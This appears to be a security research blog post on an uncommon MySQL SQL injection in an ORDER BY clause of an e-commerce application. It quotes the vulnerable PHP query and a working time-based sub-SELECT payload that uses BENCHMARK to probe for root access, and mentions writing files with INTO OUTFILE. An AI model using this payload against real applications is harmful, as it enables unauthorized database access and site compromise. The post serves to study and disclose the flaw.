SQL Injections are one of the most common and most critical Web application vulnerabilities that can be identified during a Web Application Penetration Test. SQL injections can occur in any part of a SQL query, but they usually occur in the “where_definition” section, to clarify what I’m talking about, here’s the syntax definition for the SELECT statement for MySQL:
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr, ...
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name']
[FROM table_references
[WHERE where_definition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_definition]
[ORDER BY {col_name | expr | position}
[ASC | DESC] , ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[FOR UPDATE | LOCK IN SHARE MODE]]
While performing some vulnerability research in e-commerce Web applications, Ryan Dewhurst (ryan@bonsai-sec.com) found a rather uncommon SQL Injection vector in the “col_name” section of the SELECT query, which at first looks like the average SQL Injection, but when actually trying to exploit it we discovered that it was more difficult than expected. This is the code snippet for the vulnerability, were we only control the $sort_order value:
$userlog = db_get_array("SELECT change_id, action, timestamp,
amount, reason FROM points_table
WHERE user_id = ?i ORDER BY $sort_by
$sort_order $limit", $user_id);
First of all, no SQL Injection tool works with this type of SQL injection. The reason is that they all assume that they are going to be injecting in the where_definition part of the query, and in this case that assumption is false. So we went back to the SELECT syntax, and we found that we had not much space to play:
[ORDER BY {col_name | expr | position}
[ASC | DESC] , ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[FOR UPDATE | LOCK IN SHARE MODE]]
The first idea was to use a UNION clause in order to join two different queries, the one controlled by the web application, and the other controlled by us; which seemed to be a good idea, but a flawed one also:
select 1,2,3 union select 4,5,6
Works perfectly.select 1,2,3 order by 1 ASC union select 4,5,6
Throws an "Incorrect usage of UNION and ORDER BY error."(select 1,2,3 order by 1 ASC) union (select 4,5,6)
Works perfectly, but we can't add the "(" at the beginning
of the query.
UNION was out of the picture.
Without even noticing that I was testing something syntactically incorrect, I tried to write a file to disk using “INTO OUTFILE”, and surprisingly enough, it worked. But the problem is that we can’t control the contents of the file, because in this particular Web application we had no control of the contents of the points_table, so once again we’re were we started because we can’t write a PHP shell to disk.
So the next step was to find a way to execute a SELECT statement after an ORDER BY, the best thing that we could find was to inject a sub-SELECT statement in the col_name section of the order by. Finally the SQL injection ended up like this:
,(SELECT BENCHMARK(1000000,MD5(1)) FROM points_table where
CURRENT_USER() like 'root@localhost' limit 1)
Which makes,
SELECT change_id, action, timestamp, amount, reason FROM
points_table WHERE user_id = i ORDER BY timestamp,
(SELECT BENCHMARK(1000000,MD5(1)) FROM points_table
where CURRENT_USER() like 'root@localhost' limit 1)
The only problem is that this injection only works if the first SELECT statement actually has more than one row to order (this is because of MySQL performance enhancements). So to be able to exploit this particular SQL injection, we had to buy two items from the e-commerce store in order to add a couple of rows to the points_table, which would then trigger the sub-select in the order by section of the query.
The above injection can be modified to perform almost any query to the database, which leads to total e-commerce web application compromise.
The conclusion is simple: while automated tools can help is in many cases, an experienced security professional can never be replaced.
andres.riancho security sql injection, Web Application Security
